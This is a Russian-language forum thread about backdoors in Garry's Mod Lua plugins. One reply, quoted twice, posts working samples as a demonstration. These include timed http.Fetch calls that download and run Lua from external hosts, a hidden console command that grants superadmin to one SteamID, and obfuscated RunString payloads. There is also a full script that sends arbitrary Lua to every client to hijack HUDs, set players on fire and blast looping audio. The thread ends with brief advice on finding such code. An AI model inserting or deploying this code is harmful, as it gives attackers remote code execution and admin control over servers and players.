• Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами Публичной оферты Проекта NetZONA.org: https://netzona.org/help/public-offer/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами использования Ваших файлов cookie на Проекте NetZONA.org: https://netzona.org/help/cookies/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с Политикой конфиденциальности Проекта NetZONA.org: https://netzona.org/pages/privacy-policy/

  • Ответы на основные вопросы: https://netzona.org/threads/populjarnye-voprosy-i-otvety-na-nix.6122/

  • Приветствуем на сайте, Гость! Приобрести (купить) Информационную услугу (в том числе группу "Проверенный") на Проекте NetZONA.org: https://netzona.org/account/upgrades

[Helix] Плагин с backdoor`ом

Статус
В этой теме нельзя размещать новые ответы.
Мож просто бэков тебе накидать?)))
Хотя все равно часто бэки это либо http.Fetch (по типу gBackdoors, kvacdoor и прочая панельная ерунда) либо (самое тупое) на 100 строк бэк который видно даже челу со зрением -5.
 
Мож просто бэков тебе накидать?)))
Хотя все равно часто бэки это либо http.Fetch (по типу gBackdoors, kvacdoor и прочая панельная ерунда) либо (самое тупое) на 100 строк бэк который видно даже челу со зрением -5.
Буду рад, если скинешь)
 
Я lua не знаю (да и вообще какой-либо язык не изучал), но мне просто хочется понять, как они работают, как некоторые из них вообще выглядят.
 
Я lua не знаю (да и вообще какой-либо язык не изучал), но мне просто хочется понять, как они работают, как некоторые из них вообще выглядят.
НИЖЕ ПРЕДСТАВНЕННЫЕ БЭКДУРЫ ПРЕДОСТАВИЛ ИСКЛЮЧИТЕЛЬНО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ

1. http.Fetch
Lua:
timer.Simple(10, function()
    http.Fetch("http://87.98.180.200/~content1/setup.lua", function(c)
        RunString(c)
    end)
end)
===============================

http.Fetch("http://drm228.000webhostapp.com/core/stage1.php", function(b, l, h, c) 

if c == 200 then RunString(b) end 

end)
Панельный бэк. Сервер посылает данные на сайт, сайт принимает и на сайте юзай функции какие только можешь.

2. Тупое но рабочее
Код:
concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Выдаёт админку тому, кто в консоль пропишет Nestor

3. Шифрованные бэки
Код:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,7,26,13,15,66,15,22,67,0,5,2,7,67,10,25,}
====================================
RunString(string.char(117, 116, 105, 108, 46, 65, 100, 100, 78, 101, 116, 119, 111, 114, 107, 83, 116, 114, 105, 110, 103, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 41, 32, 110, 101, 116, 46, 82, 101, 99, 101, 105, 118, 101, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 97, 44, 98, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 110, 101, 116, 46, 82, 101, 97, 100, 83, 116, 114, 105, 110, 103, 40, 41, 41, 32, 101, 110, 100, 41)
Что делает знать не знаю так как зашифровано.

4. Целый LUA-шник с кучей говна

Код:
--[[
    File: ?.lua
    For: Annoying pirates to death, then annoying them some more until they die a second time
    By: Ultra
]]--

util.AddNetworkString "slua"

local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end

    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end

function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end

function lol:SendLua( pPlayer, strLua )
    net.Start( "slua" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end

for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end )  
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "lol jk" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )



--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([=[
        sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
       
        g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
        local html = [[%s]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
           
            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end
               
                timer.Simple( 0.5, PageLoaded )
            end

            PageLoaded()
        end

        LoadWebMaterial( "https://puu.sh/xjXlK/e850cccd1b.png", "hud1", 300, 128 )
        LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
        LoadWebMaterial( "https://puu.sh/xjXlM/1b5b25b39a.png", "hud3", 128, 128 )
        LoadWebMaterial( "https://puu.sh/xjXqs/585d8dd339.png", "xhair", 64, 64 )
        LoadWebMaterial( "https://puu.sh/xjXs8/34852fe1de.png", "doritos", 183, 256 )
        LoadWebMaterial( "https://puu.sh/xjXs0/d766b0c51c.png", "fedora", 256, 256 )
        LoadWebMaterial( "https://puu.sh/xjXrT/6894da3f54.png", "dew", 110, 256 )
        LoadWebMaterial( "https://puu.sh/xjXtN/806d9bd2f6.png", "awp", 256, 55 )
    ]=]):format(lol.m_strImageLoadHTML) )
end )

--HUD swap
lol:PushAction( 31, function( pPlayer )
    lol:SendLua( pPlayer, [[
        (GAMEMODE or GM).CalcView = function() end
        (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end

        local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
        for k, v in pairs(remove) do
            hook.GetTable()[v] = {}
        end

        local function GetWebMat( strURL )
            return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
        end

        hook.Add( "HUDPaint", "newhud", function()
            surface.SetDrawColor( 255, 255, 255, 255 )

            if GetWebMat( "hud1" ) then
                surface.SetMaterial( GetWebMat("hud1")[1] )
                surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud2" ) then
                surface.SetMaterial( GetWebMat("hud2")[1] )
                surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud3" ) then
                surface.SetMaterial( GetWebMat("hud3")[1] )
                surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
            end
            if GetWebMat( "xhair" ) then
                surface.SetMaterial( GetWebMat("xhair")[1] )
                surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
            end

            if GetWebMat( "doritos" ) then
                surface.SetMaterial( GetWebMat("doritos")[1] )
                surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
            end
            if GetWebMat( "dew" ) then
                surface.SetMaterial( GetWebMat("dew")[1] )
                surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
            end
            if GetWebMat( "fedora" ) then
                surface.SetMaterial( GetWebMat("fedora")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
            end
            if GetWebMat( "awp" ) then
                surface.SetMaterial( GetWebMat("awp")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
            end

            draw.SimpleTextOutlined(
                "[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +64,
                Color( 255, 0, 0, 255 ),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color( 0, 0, 255, 255 )
            )
        end )

        local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
        hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )

        surface.PlaySound( "garrysmod/save_load4.wav" )
        surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
    ]] )
end )

--Disco time
lol:PushAction( 10, function( pPlayer )
    local idx = pPlayer:EntIndex()
    timer.Create( "beat".. idx, 0.42, 0, function()
        if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
        pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
    end )


    lol:SendLua( pPlayer, [[
        local emitter = ParticleEmitter( LocalPlayer():GetPos() )
        local time = 0

        hook.Add( "Think", "wat", function()
            if CurTime() < time then
                return
            end

            time = CurTime() +0.05
            for i = 1, 16 do
                local part = emitter:Add(
                    "particles/balloon_bit",
                    LocalPlayer():GetPos() +Vector(
                        math.random( -256, 256 ),
                        math.random( -256, 256 ),
                        256
                    )
                )
               
                if part then
                    local Size = math.random( 4, 7 )
                   
                    part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
                    part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
                    part:SetDieTime( 4.5 )
                    part:SetGravity( Vector(40, 0, -250) )
                    part:SetLifeTime( 0 )
                    part:SetStartSize( Size /2 )
                    part:SetEndSize( Size )
                    part:SetCollide( true )
                end
            end
        end )
    ]] )

    lol:SendLua( pPlayer, [[
        hook.Add( "RenderScreenspaceEffects", "wat", function()
            local sinScaler = math.sin( CurTime() )
            DrawBloom(
                0,
                3,
                sinScaler *math.Rand(1, 8),
                sinScaler *math.Rand(1, 8),
                6,
                math.Rand(0.5, 2),
                math.Rand(0, 0.3),
                math.Rand(0, 0.3),
                math.Rand(0.5, 1)
            )

            DrawColorModify{
                ["$pp_colour_addr"] = 0,
                ["$pp_colour_addg"] = 0,
                ["$pp_colour_addb"] = 00,
                ["$pp_colour_brightness" ] = 0,
                ["$pp_colour_contrast" ] = 1,
                ["$pp_colour_colour" ] = 1,
                ["$pp_colour_mulr" ] = 0,
                ["$pp_colour_mulg" ] = 0,
                ["$pp_colour_mulb" ] = 1
            }
        end )

        local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
        mdl:SetNoDraw( true )
        local posCache, time = {}, 0

        hook.Add( "HUDPaint", "dance", function()
            if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
                local idx = mdl:LookupSequence("taunt_dance")
                mdl.SeqDuration = mdl:SequenceDuration( idx )
                mdl.SeqStart = CurTime()
                mdl:ResetSequence( idx )
            end

            mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )

           
            local w, h = 300, 300
            local ang = Angle( 0, 0, 0 )

            for i = 1, 32 do
                if CurTime() > time then
                    posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
                end
                local x, y = posCache[i][1], posCache[i][2]

                cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
                    cam.IgnoreZ( true )
                    render.SuppressEngineLighting( true )
                   
                    render.SetLightingOrigin( mdl:GetPos() )
                    render.ResetModelLighting( 1, 1, 1 )
                    render.SetColorModulation( 0, 0, 1 )

                    mdl:DrawModel()
                   
                    render.SuppressEngineLighting( false )
                    cam.IgnoreZ( false )
                cam.End3D()
            end

            if CurTime() > time then
                time = CurTime() +0.15
            end
        end )

        surface.PlaySound( "vo/npc/male01/ohno.wav" )
    ]] )
end )

--Let the beat drop
lol:PushAction( 54, function( pPlayer )
    lol:SendLua( pPlayer, [[
        hook.Add( "GetMotionBlurValues", "wat", function()
            return 0, 0, 1, math.sin(CurTime() *13)
        end )

        hook.Add( "RenderScreenspaceEffects", "ohgod", function()
            local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
            DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
            DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
        end )

        hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
            render.SetMaterial( Material("cable/blue_elec") )
            for i = 1, 32 do
                render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
            end
        end )

        timer.Create( "thedrop", 0.42, 0, function()
            util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
        end )
    ]] )
end )

--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
    lol:SendLua( pPlayer, [[
        surface.PlaySound( "vo/npc/male01/gethellout.wav" )

        local sounds = {}
        for i = 1, 4 do
            sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
                sounds[#sounds +1] = pChan
            end )
        end

        timer.Create( "asdf", 1, 0, function()
            if #sounds ~= 4 then return end
            timer.Destroy( "asdf" )
            for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
        end )

        hook.Add( "HUDShouldDraw", "newhud", function() return false end )
    ]] )

    pPlayer:Remove()
end )
Даже страшно разьяснять что тут можно.
========================================================
ЗАКЛЮЧЕНИЕ
Обычно все бэки в авторане либо sv части луа. Советую проверять все луа файлы, а еще проще юзать CPE либо nomalua
 
НИЖЕ ПРЕДСТАВНЕННЫЕ БЭКДУРЫ ПРЕДОСТАВИЛ ИСКЛЮЧИТЕЛЬНО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ

1. http.Fetch
Lua:
timer.Simple(10, function()
    http.Fetch("http://87.98.180.200/~content1/setup.lua", function(c)
        RunString(c)
    end)
end)
===============================

http.Fetch("http://drm228.000webhostapp.com/core/stage1.php", function(b, l, h, c)

if c == 200 then RunString(b) end

end)
Панельный бэк. Сервер посылает данные на сайт, сайт принимает и на сайте юзай функции какие только можешь.

2. Тупое но рабочее
Код:
concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Выдаёт админку тому, кто в консоль пропишет Nestor

3. Шифрованные бэки
Код:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,7,26,13,15,66,15,22,67,0,5,2,7,67,10,25,}
====================================
RunString(string.char(117, 116, 105, 108, 46, 65, 100, 100, 78, 101, 116, 119, 111, 114, 107, 83, 116, 114, 105, 110, 103, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 41, 32, 110, 101, 116, 46, 82, 101, 99, 101, 105, 118, 101, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 97, 44, 98, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 110, 101, 116, 46, 82, 101, 97, 100, 83, 116, 114, 105, 110, 103, 40, 41, 41, 32, 101, 110, 100, 41)
Что делает знать не знаю так как зашифровано.

4. Целый LUA-шник с кучей говна

Код:
--[[
    File: ?.lua
    For: Annoying pirates to death, then annoying them some more until they die a second time
    By: Ultra
]]--

util.AddNetworkString "slua"

local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end

    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end

function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end

function lol:SendLua( pPlayer, strLua )
    net.Start( "slua" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end

for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end ) 
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "lol jk" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )



--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([=[
        sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
      
        g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
        local html = [[%s]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
          
            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end
              
                timer.Simple( 0.5, PageLoaded )
            end

            PageLoaded()
        end

        LoadWebMaterial( "https://puu.sh/xjXlK/e850cccd1b.png", "hud1", 300, 128 )
        LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
        LoadWebMaterial( "https://puu.sh/xjXlM/1b5b25b39a.png", "hud3", 128, 128 )
        LoadWebMaterial( "https://puu.sh/xjXqs/585d8dd339.png", "xhair", 64, 64 )
        LoadWebMaterial( "https://puu.sh/xjXs8/34852fe1de.png", "doritos", 183, 256 )
        LoadWebMaterial( "https://puu.sh/xjXs0/d766b0c51c.png", "fedora", 256, 256 )
        LoadWebMaterial( "https://puu.sh/xjXrT/6894da3f54.png", "dew", 110, 256 )
        LoadWebMaterial( "https://puu.sh/xjXtN/806d9bd2f6.png", "awp", 256, 55 )
    ]=]):format(lol.m_strImageLoadHTML) )
end )

--HUD swap
lol:PushAction( 31, function( pPlayer )
    lol:SendLua( pPlayer, [[
        (GAMEMODE or GM).CalcView = function() end
        (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end

        local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
        for k, v in pairs(remove) do
            hook.GetTable()[v] = {}
        end

        local function GetWebMat( strURL )
            return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
        end

        hook.Add( "HUDPaint", "newhud", function()
            surface.SetDrawColor( 255, 255, 255, 255 )

            if GetWebMat( "hud1" ) then
                surface.SetMaterial( GetWebMat("hud1")[1] )
                surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud2" ) then
                surface.SetMaterial( GetWebMat("hud2")[1] )
                surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud3" ) then
                surface.SetMaterial( GetWebMat("hud3")[1] )
                surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
            end
            if GetWebMat( "xhair" ) then
                surface.SetMaterial( GetWebMat("xhair")[1] )
                surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
            end

            if GetWebMat( "doritos" ) then
                surface.SetMaterial( GetWebMat("doritos")[1] )
                surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
            end
            if GetWebMat( "dew" ) then
                surface.SetMaterial( GetWebMat("dew")[1] )
                surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
            end
            if GetWebMat( "fedora" ) then
                surface.SetMaterial( GetWebMat("fedora")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
            end
            if GetWebMat( "awp" ) then
                surface.SetMaterial( GetWebMat("awp")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
            end

            draw.SimpleTextOutlined(
                "[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +64,
                Color( 255, 0, 0, 255 ),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color( 0, 0, 255, 255 )
            )
        end )

        local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
        hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )

        surface.PlaySound( "garrysmod/save_load4.wav" )
        surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
    ]] )
end )

--Disco time
lol:PushAction( 10, function( pPlayer )
    local idx = pPlayer:EntIndex()
    timer.Create( "beat".. idx, 0.42, 0, function()
        if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
        pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
    end )


    lol:SendLua( pPlayer, [[
        local emitter = ParticleEmitter( LocalPlayer():GetPos() )
        local time = 0

        hook.Add( "Think", "wat", function()
            if CurTime() < time then
                return
            end

            time = CurTime() +0.05
            for i = 1, 16 do
                local part = emitter:Add(
                    "particles/balloon_bit",
                    LocalPlayer():GetPos() +Vector(
                        math.random( -256, 256 ),
                        math.random( -256, 256 ),
                        256
                    )
                )
              
                if part then
                    local Size = math.random( 4, 7 )
                  
                    part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
                    part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
                    part:SetDieTime( 4.5 )
                    part:SetGravity( Vector(40, 0, -250) )
                    part:SetLifeTime( 0 )
                    part:SetStartSize( Size /2 )
                    part:SetEndSize( Size )
                    part:SetCollide( true )
                end
            end
        end )
    ]] )

    lol:SendLua( pPlayer, [[
        hook.Add( "RenderScreenspaceEffects", "wat", function()
            local sinScaler = math.sin( CurTime() )
            DrawBloom(
                0,
                3,
                sinScaler *math.Rand(1, 8),
                sinScaler *math.Rand(1, 8),
                6,
                math.Rand(0.5, 2),
                math.Rand(0, 0.3),
                math.Rand(0, 0.3),
                math.Rand(0.5, 1)
            )

            DrawColorModify{
                ["$pp_colour_addr"] = 0,
                ["$pp_colour_addg"] = 0,
                ["$pp_colour_addb"] = 00,
                ["$pp_colour_brightness" ] = 0,
                ["$pp_colour_contrast" ] = 1,
                ["$pp_colour_colour" ] = 1,
                ["$pp_colour_mulr" ] = 0,
                ["$pp_colour_mulg" ] = 0,
                ["$pp_colour_mulb" ] = 1
            }
        end )

        local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
        mdl:SetNoDraw( true )
        local posCache, time = {}, 0

        hook.Add( "HUDPaint", "dance", function()
            if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
                local idx = mdl:LookupSequence("taunt_dance")
                mdl.SeqDuration = mdl:SequenceDuration( idx )
                mdl.SeqStart = CurTime()
                mdl:ResetSequence( idx )
            end

            mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )

          
            local w, h = 300, 300
            local ang = Angle( 0, 0, 0 )

            for i = 1, 32 do
                if CurTime() > time then
                    posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
                end
                local x, y = posCache[i][1], posCache[i][2]

                cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
                    cam.IgnoreZ( true )
                    render.SuppressEngineLighting( true )
                  
                    render.SetLightingOrigin( mdl:GetPos() )
                    render.ResetModelLighting( 1, 1, 1 )
                    render.SetColorModulation( 0, 0, 1 )

                    mdl:DrawModel()
                  
                    render.SuppressEngineLighting( false )
                    cam.IgnoreZ( false )
                cam.End3D()
            end

            if CurTime() > time then
                time = CurTime() +0.15
            end
        end )

        surface.PlaySound( "vo/npc/male01/ohno.wav" )
    ]] )
end )

--Let the beat drop
lol:PushAction( 54, function( pPlayer )
    lol:SendLua( pPlayer, [[
        hook.Add( "GetMotionBlurValues", "wat", function()
            return 0, 0, 1, math.sin(CurTime() *13)
        end )

        hook.Add( "RenderScreenspaceEffects", "ohgod", function()
            local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
            DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
            DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
        end )

        hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
            render.SetMaterial( Material("cable/blue_elec") )
            for i = 1, 32 do
                render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
            end
        end )

        timer.Create( "thedrop", 0.42, 0, function()
            util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
        end )
    ]] )
end )

--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
    lol:SendLua( pPlayer, [[
        surface.PlaySound( "vo/npc/male01/gethellout.wav" )

        local sounds = {}
        for i = 1, 4 do
            sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
                sounds[#sounds +1] = pChan
            end )
        end

        timer.Create( "asdf", 1, 0, function()
            if #sounds ~= 4 then return end
            timer.Destroy( "asdf" )
            for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
        end )

        hook.Add( "HUDShouldDraw", "newhud", function() return false end )
    ]] )

    pPlayer:Remove()
end )
Даже страшно разьяснять что тут можно.
========================================================

ЗАКЛЮЧЕНИЕ
Обычно все бэки в авторане либо sv части луа. Советую проверять все луа файлы, а еще проще юзать CPE либо nomalua

gBackdoor кстати вообще можно взломать за 2 клика, ржомба была в 18 году)
 
gBackdoor кстати вообще можно взломать за 2 клика, ржомба была в 18 году)
Та и тем более хостинг банит акк и закрывает сайт с гбэкдуром))) я ради интереса поставил на хост этот гбэк, через 2 дня сайт и акк отлетели (
 
НИЖЕ ПРЕДСТАВНЕННЫЕ БЭКДУРЫ ПРЕДОСТАВИЛ ИСКЛЮЧИТЕЛЬНО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ

1. http.Fetch
